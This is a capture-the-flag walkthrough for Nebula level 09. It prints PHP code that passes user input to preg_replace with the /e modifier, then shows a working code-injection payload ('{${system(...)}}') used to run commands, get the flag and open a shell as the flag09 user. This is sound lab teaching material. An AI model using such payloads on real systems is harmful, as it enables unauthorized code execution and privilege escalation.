Nebula - 09

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Nebula - 09

There’s a C setuid wrapper for some vulnerable PHP code. To do this level, log in as the level09 account with the password level09. Files for this level can be found in /home/flag09.

Source code

<?php

function spam($email)
{
  $email = preg_replace("/\./", " dot ", $email);
  $email = preg_replace("/@/", " AT ", $email);
  return $email;
}

function markup($filename, $use_me)
{
  $contents = file_get_contents($filename);

  $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
  $contents = preg_replace("/\[/", "<", $contents);
  $contents = preg_replace("/\]/", ">", $contents);
  return $contents;
}

$output = markup($argv[1], $argv[2]);

print $output;

?>

Getting the flag

This program expects the path to the file as an argument and expects something like [email something@domain.com] in it.

Let's try it out and see the proper flow of the program:

level09@nebula:/home/flag09$ echo "[email something@domain.com]" > /tmp/test 
level09@nebula:/home/flag09$ ./flag09 /tmp/test 

PHP Notice:  Undefined offset: 2 in /home/flag09/flag09.php on line 22
something AT domain dot com

We will need to dig a little to find the vulnerability here. The preg_replace is using e pattern modifier, which was removed in PHP7. The preg_replace with the e modifier takes the user input and interprets it as PHP code. Allowing the user to inject the PHP code as an input, sounds dangerous, right?

Let's try some command injection now:

level09@nebula:/home/flag09$ cat /tmp/test 
[email {${system(id)}}]
level09@nebula:/home/flag09$ ./flag09 /tmp/test 
PHP Notice:  Undefined offset: 2 in /home/flag09/flag09.php on line 22
PHP Notice:  Use of undefined constant id - assumed 'id' in /home/flag09/flag09.php(15) : regexp code on line 1
uid=1010(level09) gid=1010(level09) euid=990(flag09) groups=990(flag09),1010(level09)
PHP Notice:  Undefined variable: uid=1010(level09) gid=1010(level09) euid=990(flag09) groups=990(flag09),1010(level09) in /home/flag09/flag09.php(15) : regexp code on line 1

There we have it! To the flag now!

level09@nebula:/home/flag09$ cat /tmp/test 
[email {${system(getflag)}}]
level09@nebula:/home/flag09$ ./flag09 /tmp/test 
PHP Notice:  Undefined offset: 2 in /home/flag09/flag09.php on line 22
PHP Notice:  Use of undefined constant getflag - assumed 'getflag' in /home/flag09/flag09.php(15) : regexp code on line 1
You have successfully executed getflag on a target account
PHP Notice:  Undefined variable: You have successfully executed getflag on a target account in /home/flag09/flag09.php(15) : regexp code on line 1

Bonus points for getting the shell

level09@nebula:/home/flag09$ cat /tmp/test 
[email {${system(sh)}}]
level09@nebula:/home/flag09$ ./flag09 /tmp/test 
PHP Notice:  Undefined offset: 2 in /home/flag09/flag09.php on line 22
PHP Notice:  Use of undefined constant sh - assumed 'sh' in /home/flag09/flag09.php(15) : regexp code on line 1
sh-4.2$ id
uid=1010(level09) gid=1010(level09) euid=990(flag09) groups=990(flag09),1010(level09)
sh-4.2$ getflag
You have successfully executed getflag on a target account